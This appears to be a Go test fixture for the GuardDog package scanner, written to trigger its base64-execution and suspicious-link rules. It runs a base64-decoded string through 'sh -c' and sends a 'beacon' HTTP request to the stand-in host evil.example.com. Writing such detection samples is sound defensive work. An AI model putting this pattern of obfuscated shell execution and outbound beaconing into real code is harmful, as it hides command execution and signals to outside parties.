// GuardDog will flag: go-exec-base64, shady-links

package main

import (
	"encoding/base64"
	"fmt"
	"net/http"
	"os/exec"
)

func main() {
	// base64-encoded execution
	encoded := "cHJpbnRmKGlvLmlvdXRsLCJIZWxsbyIp"
	decoded, _ := base64.StdEncoding.DecodeString(encoded)
	
	cmd := exec.Command("sh", "-c", string(decoded))
	cmd.Run()

	// shady-links: suspicious HTTP call
	resp, err := http.Get("http://evil.example.com/beacon")
	if err == nil {
		defer resp.Body.Close()
		fmt.Println("beacon sent")
	}
}